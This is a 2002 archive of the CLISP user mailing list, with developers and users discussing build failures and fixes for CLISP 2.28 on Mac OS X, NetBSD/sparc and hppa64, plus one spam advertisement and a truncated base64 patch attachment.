http://www.io.com/~jti Faru cian volon, estu la tuta legx. Amo estas la legxo, amo laux vol. From samuel.steingold@verizon.net Mon Jun 24 07:07:22 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MUUz-0005Dk-00 for ; Mon, 24 Jun 2002 07:07:21 -0700 Received: (cpmta 5093 invoked from network); 24 Jun 2002 07:07:15 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 24 Jun 2002 07:07:15 -0700 X-Sent: 24 Jun 2002 14:07:15 GMT To: "Jeremiah T. Isaacs" Cc: clisp-list@lists.sourceforge.net,Josh Flowers Subject: Re: [clisp-list] compiling 2.28 on Mac OS X References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 07:08:03 2002 X-Original-Date: 24 Jun 2002 10:07:13 -0400 > * In message > * On the subject of "[clisp-list] compiling 2.28 on Mac OS X" > * Sent on Sun, 23 Jun 2002 17:59:02 -0500 (CDT) > * Honorable "Jeremiah T. Isaacs" writes: > > I am trying to compile clisp 2.28 on Mac OS X and having little luck. > Also I have not found any notes about how/who created the 2.27 binary > distribution, and what kind of wand was used to get it to compile. Josh Flowers built it, as clearly indicated in and . BTW, Josh, could you please build 2.28 too? > I can of course send more details if needed. Following the > instructions ends with: > > > > ;; Loading file defseq.lisp ... > ;; Loading of file defseq.lisp is finished. > ;; Loading file backquote.lisp ... > ;; Loading of file backquote.lisp is finished. > ;; Loading file defmacro.lisp ... > ;; Loading of file defmacro.lisp is finished. > ;; Loading file macros1.lisp ... > ;; Loading of file macros1.lisp is finished. > ;; Loading file macros2.lisp ... > ;; Loading of file macros2.lisp is finished. > ;; Loading file defs1.lisp ... > ;; Loading of file defs1.lisp is finished. > ;; Loading file places.lisp ...make: *** [interpreted.mem] Segmentation > fault sorry, this does not cut it as a bug report. PS. Jeremiah, would you like to translate CLISP messages to Esperanto? :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Fighting for peace is like screwing for virginity. From jti@io.com Mon Jun 24 07:52:34 2002 Received: from hiram.io.com ([199.170.88.27]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MVCj-0001SG-00 for ; Mon, 24 Jun 2002 07:52:33 -0700 Received: from eris.io.com (IDENT:root@eris.io.com [199.170.88.11]) by hiram.io.com (8.11.2/8.11.2) with ESMTP id g5OEqVt19326; Mon, 24 Jun 2002 09:52:31 -0500 Received: from localhost (jti@localhost) by eris.io.com (8.11.6/8.11.6) with ESMTP id g5OEqTe30460; Mon, 24 Jun 2002 09:52:30 -0500 X-Authentication-Warning: eris.io.com: jti owned process doing -bs From: "Jeremiah T. Isaacs" To: Sam Steingold cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiling 2.28 on Mac OS X In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 08:01:46 2002 X-Original-Date: Mon, 24 Jun 2002 09:52:29 -0500 (CDT) On 24 Jun 2002, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] compiling 2.28 on Mac OS X" > > * Sent on Sun, 23 Jun 2002 17:59:02 -0500 (CDT) > > * Honorable "Jeremiah T. Isaacs" writes: > > > > I am trying to compile clisp 2.28 on Mac OS X and having little luck. > > Also I have not found any notes about how/who created the 2.27 binary > > distribution, and what kind of wand was used to get it to compile. > > Josh Flowers built it, as clearly indicated in > and > . thanks, didn't look there, just in the actual distribution. David Carothers sent me the hint that ulimit would help, and it ended up being simply that I needed to enter 'unlimit' before starting the 'make'. It compiled and passed 'make test'. > sorry, this does not cut it as a bug report. > i didnt think i had a bug, just trying to get it to work. Updating the unix/PLATFORMS file to mention this might save someone else some time though. Mac OS X 10.1.5: enter 'unlimit' before building. > PS. Jeremiah, would you like to translate CLISP messages to Esperanto? :-) I was thinking about it actually. there are always more things I want to do than time, but I just may try. thanks - jeremiah -- http://www.io.com/~jti Faru cian volon, estu la tuta legx. Amo estas la legxo, amo laux vol. From jon@bullers.net Mon Jun 24 10:33:06 2002 Received: from 12-225-225-182.client.attbi.com ([12.225.225.182] helo=mail.bullers.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MXi6-0006a4-00 for ; Mon, 24 Jun 2002 10:33:06 -0700 Received: from bullers.net (localhost [127.0.0.1]) by mail.bullers.net (Postfix) with ESMTP id 452DC11D1CC for ; Mon, 24 Jun 2002 10:33:01 -0700 (PDT) To: clisp-list@lists.sourceforge.net From: Jon Buller Message-Id: <20020624173302.452DC11D1CC@mail.bullers.net> Subject: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 10:34:02 2002 X-Original-Date: Mon, 24 Jun 2002 10:33:01 -0700 2.27 did something really similar, but here's what 2.28 does first. gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a ./minitests > minitests.out uniq -u < minitests.out > minitests.output.sparc-unknown-netbsdelf1.5.3. test '!' -s minitests.output.sparc-unknown-netbsdelf1.5.3. *** Error code 1 Stop. To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd netbsd-gcc ./makemake --with-readline --with-gettext > Makefile make config.lisp vi config.lisp make make check minitests.output.sparc-unknown-netbsdelf1.5.3. contains this: Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3})->{84552} J f(J,int,J):({47,11},2,{73,55})->{120,68} J f(J,int,J):({47,11},2,{73,55})->{84552,131072} Any hints on how to track this down? Just ignoring the problem just generates a core file when doing the make later on. Jon From dan.stanger@ieee.org Mon Jun 24 12:40:05 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MZgz-0007RO-00 for ; Mon, 24 Jun 2002 12:40:05 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g5OJe3G03916 for clisp-list@lists.sourceforge.net; Mon, 24 Jun 2002 13:40:03 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200206241940.g5OJe3G03916@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] gdi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 12:41:01 2002 X-Original-Date: Mon, 24 Jun 2002 13:40:03 -0600 (MDT) I have put a new version of the gdi code on my web site as www.diac.com/~dxs/gdi-2002-6-23.tar.bz2. It has some more functions implemented. I also have put a version of the garnet source (not working) hacked for gdi, on my web site also as src-2002-6-23.tar.bz2 Dan Stanger From lisp-clisp-list@m.gmane.org Mon Jun 24 13:20:37 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MaKB-0005TQ-00 for ; Mon, 24 Jun 2002 13:20:35 -0700 Received: from root by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17MaJn-000515-00 for ; Mon, 24 Jun 2002 22:20:11 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.33 #1 (Debian)) id 17Ma6e-0004Yh-00 for ; Mon, 24 Jun 2002 22:06:36 +0200 Path: not-for-mail From: Barry Fishman Newsgroups: gmane.lisp.clisp.general Lines: 27 Message-ID: NNTP-Posting-Host: 12.78.23.24 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1024949196 17525 12.78.23.24 (24 Jun 2002 20:06:36 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Mon, 24 Jun 2002 20:06:36 +0000 (UTC) X-Face: ,b"GM7)/AGw6p$#|B#Rk'k,tEyoUap#?/bbfxLu<.uA(VNR9mfm&hF~hX6C24G=\|>E>y[5 FSZx)~.YQn,Je23!f:'_)Jo{#1>atqPQJC List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 13:21:06 2002 X-Original-Date: Mon, 24 Jun 2002 16:06:43 -0400 CLISP build from CVS June 24, 2002 On SuSE 8.0 Linux on i686 $ clisp --version GNU CLISP 2.28.1 (released 2002-04-04) (built 3233934545) (memory 3233934818) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) $ uname -a Linux ecube 2.4.18-4GB #1 Wed Mar 27 13:57:05 UTC 2002 i686 unknown Problem: Whenever I try to run a CLISP script I get the error: *** - MAKE-ENCODING: illegal :CHARSET argument #P"/dev/fd/2" For example executing the file: #! /usr/local/bin/clisp (print "Hello World!") Otherwise everything seems to work OK. -- Barry From will@misconception.org.uk Mon Jun 24 15:37:51 2002 Received: from cmailg3.svr.pol.co.uk ([195.92.195.173]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17McT0-00061F-00 for ; Mon, 24 Jun 2002 15:37:50 -0700 Received: from modem-670.barrelled.dialup.pol.co.uk ([62.25.142.158] helo=there) by cmailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17McSx-0007hD-00 for clisp-list@lists.sourceforge.net; Mon, 24 Jun 2002 23:37:47 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc X-Mailer: KMail [version 1.3.2] References: <20020624173302.452DC11D1CC@mail.bullers.net> In-Reply-To: <20020624173302.452DC11D1CC@mail.bullers.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 15:38:03 2002 X-Original-Date: Mon, 24 Jun 2002 23:40:44 +0100 On Monday 24 Jun 2002 6:33 pm, Jon Buller wrote: > 2.27 did something really similar, but here's what 2.28 > does first. I believe this is fixed in CVS. > Any hints on how to track this down? Just ignoring the problem > just generates a core file when doing the make later on. This is the more serious problem, which I am not sure how to fix. From jon@bullers.net Mon Jun 24 17:03:58 2002 Received: from 12-225-225-182.client.attbi.com ([12.225.225.182] helo=mail.bullers.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MdoL-0007hF-00 for ; Mon, 24 Jun 2002 17:03:57 -0700 Received: from bullers.net (localhost [127.0.0.1]) by mail.bullers.net (Postfix) with ESMTP id 836BD11D1CC; Mon, 24 Jun 2002 17:03:54 -0700 (PDT) To: Will Newton Cc: clisp-list@lists.sourceforge.net, jon@bullers.net Subject: Re: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc In-Reply-To: Message from Will Newton of "Mon, 24 Jun 2002 23:40:44 BST." From: Jon Buller Message-Id: <20020625000354.836BD11D1CC@mail.bullers.net> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 24 17:04:15 2002 X-Original-Date: Mon, 24 Jun 2002 17:03:53 -0700 > On Monday 24 Jun 2002 6:33 pm, Jon Buller wrote: > > 2.27 did something really similar, but here's what 2.28 > > does first. > > I believe this is fixed in CVS. The current CVS sources (20020624 @ about 1500 GMT-0800) have this one about half solved. Provided I understand correctly that output of "minitests | uniq -u" should be zero length. minitests.output.sparc-unknown-netbsdelf1.5.3. now contains half the number of lines that it did before: Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3})->{-268439644} I'm using egcs-1.1.2 if it matters. I found a message in the archive about what I assume is the difference between 2.28 and the cvs sources WRT my problem, and when I poked into the configure script, I guessed it was an optimizer bug with the -O2 flag, rather than something caused by -g unless the two flags interact somehow, which is reasonably possible. I assume this one is similar, but for a different test in the configure script. Just not sure which one. > > Any hints on how to track this down? Just ignoring the problem > > just generates a core file when doing the make later on. > > This is the more serious problem, which I am not sure how to fix. Well, I may think about it if I get there... I hope it magically goes away before then... 8^) Jon From samuel.steingold@verizon.net Tue Jun 25 06:27:44 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MqMA-0003Pt-00 for ; Tue, 25 Jun 2002 06:27:42 -0700 Received: (cpmta 28438 invoked from network); 25 Jun 2002 06:27:36 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 25 Jun 2002 06:27:36 -0700 X-Sent: 25 Jun 2002 13:27:36 GMT To: Jon Buller Cc: Will Newton , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc References: <20020625000354.836BD11D1CC@mail.bullers.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020625000354.836BD11D1CC@mail.bullers.net> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 06:28:05 2002 X-Original-Date: 25 Jun 2002 09:27:34 -0400 > * In message <20020625000354.836BD11D1CC@mail.bullers.net> > * On the subject of "Re: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc " > * Sent on Mon, 24 Jun 2002 17:03:53 -0700 > * Honorable Jon Buller writes: > > I'm using egcs-1.1.2 if it matters. can you upgrade to a mainstream GCC distribution, like 2.95 or 3.0 or 3.1? > > > Any hints on how to track this down? Just ignoring the problem > > > just generates a core file when doing the make later on. > > > > This is the more serious problem, which I am not sure how to fix. > > Well, I may think about it if I get there... I hope it magically > goes away before then... 8^) it won't, unless _you_ track it down. please configure --without-dynamic-ffi --with-debug. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux We are born naked, wet, and hungry. Then things get worse. From samuel.steingold@verizon.net Tue Jun 25 06:39:28 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MqXX-0004uE-00 for ; Tue, 25 Jun 2002 06:39:27 -0700 Received: (cpmta 18031 invoked from network); 25 Jun 2002 06:39:21 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 25 Jun 2002 06:39:21 -0700 X-Sent: 25 Jun 2002 13:39:21 GMT To: Barry Fishman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug Report: Unable to run as script References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Message-ID: Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 06:40:05 2002 X-Original-Date: 25 Jun 2002 09:39:19 -0400 Barry, thanks a lot for such an excellent bug report! > * In message > * On the subject of "[clisp-list] Bug Report: Unable to run as script" > * Sent on Mon, 24 Jun 2002 16:06:43 -0400 > * Honorable Barry Fishman writes: > > *** - MAKE-ENCODING: illegal :CHARSET argument #P"/dev/fd/2" just fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From amoroso@mclink.it Tue Jun 25 09:30:53 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MtDK-0002cI-00 for ; Tue, 25 Jun 2002 09:30:46 -0700 Received: from net145-076.mclink.it (net145-076.mclink.it [195.110.145.76]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g5PGUfl02067 for ; Tue, 25 Jun 2002 18:30:41 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gdi Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200206241940.g5OJe3G03916@mantis.privatei.com> In-Reply-To: <200206241940.g5OJe3G03916@mantis.privatei.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 09:31:03 2002 X-Original-Date: Tue, 25 Jun 2002 18:28:11 +0200 On Mon, 24 Jun 2002 13:40:03 -0600 (MDT), Dan Stanger wrote: > functions implemented. I also have put a version of the > garnet source (not working) hacked for gdi, on my web site > also as src-2002-6-23.tar.bz2 A SourceForge project for Garnet was recently set up. You may want to notify the maintainers about your patch. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From dan.stanger@ieee.org Tue Jun 25 10:21:09 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Mu05-0002BD-00 for ; Tue, 25 Jun 2002 10:21:09 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g5PHL7103971 for clisp-list@lists.sourceforge.net; Tue, 25 Jun 2002 11:21:07 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200206251721.g5PHL7103971@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] problem compiling clisp 2.28 on Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 10:22:02 2002 X-Original-Date: Tue, 25 Jun 2002 11:21:07 -0600 (MDT) I am working with Daniel Starr on trying to compile clisp on OS X, and am encountering the following error. [localhost:~] danielst% cd clisp-2.28/osx [localhost:~/clisp-2.28/osx] danielst% cc -E -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c >yyy4.i lispbibl.d:88: line_88 lispbibl.d:107: line_107 lispbibl.d:207: line_207 lispbibl.d:315: line_315 lispbibl.d:6974: illegal external declaration, missing `;' after `__SP' cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode The errors marked line_* are the result of putting error statements in the defines to confirm what the compiler is doing. Can anyone give us a sugestion about this error? Thanks, Dan Stanger From mailinglist@wirelessteam.net Tue Jun 25 13:30:32 2002 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=mail2.vasoftware.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17MwxI-0001dt-00 for ; Tue, 25 Jun 2002 13:30:28 -0700 Received: from [212.116.138.66] (helo=wirelessteam.net) by mail2.vasoftware.com with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MwxB-0001Et-00 for ; Tue, 25 Jun 2002 13:30:22 -0700 From: "Wireless Team" To: Mime-Version: 1.0 Content-Type: text/html; charset="ISO-8859-1" Reply-To: "Wireless Team" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] ** Outdoor Wireless Router ** Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 13:31:04 2002 X-Original-Date: Tue, 25 Jun 2002 23:31:32 +0300 Wireless Team: Outdoor Wireless Equipment
 
  • Low Cost One Stop Solution
  • True Easy To Use Device.
  • Superior Range And Throughput
  • Built-In Antenna
  • No Additional Equipment Needed
  • Multiple Configuration Tools
  • Based On Linux Firmware
  • Full Network Address Translation (NAT).
  • Bandwidth Shaping Support Included.
  • Linux Shell For Custom Configurations
 
 

The Outdoor Wireless Router is a flexible network solution designed to provide a new high-speed alternative for delivering broadband connections. The Wireless Router helps to bypass telecommunications charges for expensive local loops and costly equipment usually needed to establish a T1 (1.5 Mbps) or faster connections. The Wireless Router helps you take advantage of the rapidly changing Internet, and to enhance your company's productivity at a very reasonable price.

The Outdoor Wireless Router is totally adapted for outdoor mounting and the base system includes integrated antenna. It is equipped with power injector as well. Thus prevents you from having problems with power supplies at open areas and gives you the possibility to have the device at a distance of 100-140 m from your switch or hub.

With a full 100mW of transmit power and the best receive sensitivity in the industry it has the longest range and best reliability available for wireless clients. Advanced signal processing helps manage the multi-path propagation often found in office environments. Intelligent filtering addresses ambient noise and interference that can decrease network performance. Building upon Cisco leadership in wireless LAN (WLAN) performance, it provides the greatest throughput available so users can enjoy virtually the same connectivity they gain from wired connections. Based on direct sequence spread spectrum (DSSS) technology and operating in the 2.4-GHz band, the device complies with the IEEE 802.11b standard-ensuring interoperability with all other compliant WLAN products.


 
   
This mailing is done only to people who have requested info from one of our sites, or downloaded our Software. If you have recieved this email in error and you wish to be removed from future mailings, please reply with the subject "Remove" and our software will automatically block you from their future mailings.

 
From samuel.steingold@verizon.net Tue Jun 25 14:32:54 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Mxvi-0000m9-00 for ; Tue, 25 Jun 2002 14:32:54 -0700 Received: (cpmta 6828 invoked from network); 25 Jun 2002 14:32:47 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 25 Jun 2002 14:32:47 -0700 X-Sent: 25 Jun 2002 21:32:47 GMT To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem compiling clisp 2.28 on Mac OS X References: <200206251721.g5PHL7103971@mantis.privatei.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200206251721.g5PHL7103971@mantis.privatei.com> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 14:33:04 2002 X-Original-Date: 25 Jun 2002 17:32:46 -0400 > * In message <200206251721.g5PHL7103971@mantis.privatei.com> > * On the subject of "[clisp-list] problem compiling clisp 2.28 on Mac OS X" > * Sent on Tue, 25 Jun 2002 11:21:07 -0600 (MDT) > * Honorable dan.stanger@ieee.org writes: > > I am working with Daniel Starr on trying to compile clisp on OS X, and > am encountering the following error. > > [localhost:~] danielst% cd clisp-2.28/osx > [localhost:~/clisp-2.28/osx] danielst% cc -E -W -Wswitch -Wcomment > -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer > -Wno-sign-compare -O2 -DUNICODE -c spvw.c >yyy4.i > lispbibl.d:88: line_88 > lispbibl.d:107: line_107 > lispbibl.d:207: line_207 > lispbibl.d:315: line_315 > lispbibl.d:6974: illegal external declaration, missing `;' after `__SP' > cpp-precomp: warning: errors during smart preprocessing, retrying in > basic mode add --traditional-cpp manually or try the CVS version. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Save your burned out bulbs for me, I'm building my own dark room. From will@misconception.org.uk Tue Jun 25 18:36:50 2002 Received: from mail4.svr.pol.co.uk ([195.92.193.211]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17N1jl-00053T-00 for ; Tue, 25 Jun 2002 18:36:49 -0700 Received: from modem-1028.beedrill.dialup.pol.co.uk ([217.135.36.4] helo=there) by mail4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17N1ji-00019s-00 for clisp-list@lists.sourceforge.net; Wed, 26 Jun 2002 02:36:47 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_RXHALQWIP7FLYAE7MG4V" Message-Id: Subject: [clisp-list] hppa64 build fix Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 25 18:37:02 2002 X-Original-Date: Wed, 26 Jun 2002 02:39:27 +0100 --------------Boundary-00=_RXHALQWIP7FLYAE7MG4V Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit This patch enables avcall support for hppa 64bit architectures. --------------Boundary-00=_RXHALQWIP7FLYAE7MG4V Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-hppa64.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-hppa64.diff" T25seSBpbiBjbGlzcC0yLjI4Lm9sZC9mZmNhbGwvYXV0b2NvbmY6IC5hY2xvY2FsLm00LnN3cApk aWZmIC1ydSBjbGlzcC0yLjI4Lm9sZC9mZmNhbGwvYXV0b2NvbmYvYWNsb2NhbC5tNCBjbGlzcC0y LjI4L2ZmY2FsbC9hdXRvY29uZi9hY2xvY2FsLm00Ci0tLSBjbGlzcC0yLjI4Lm9sZC9mZmNhbGwv YXV0b2NvbmYvYWNsb2NhbC5tNAlUaHUgTWFyIDIxIDEzOjI1OjA4IDIwMDIKKysrIGNsaXNwLTIu MjgvZmZjYWxsL2F1dG9jb25mL2FjbG9jYWwubTQJV2VkIEp1biAyNiAwMjozNDowNiAyMDAyCkBA 